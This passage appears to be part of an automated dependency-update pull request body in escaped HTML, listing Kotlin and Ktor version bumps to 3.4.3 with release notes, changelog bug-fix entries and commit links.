href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.10...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca 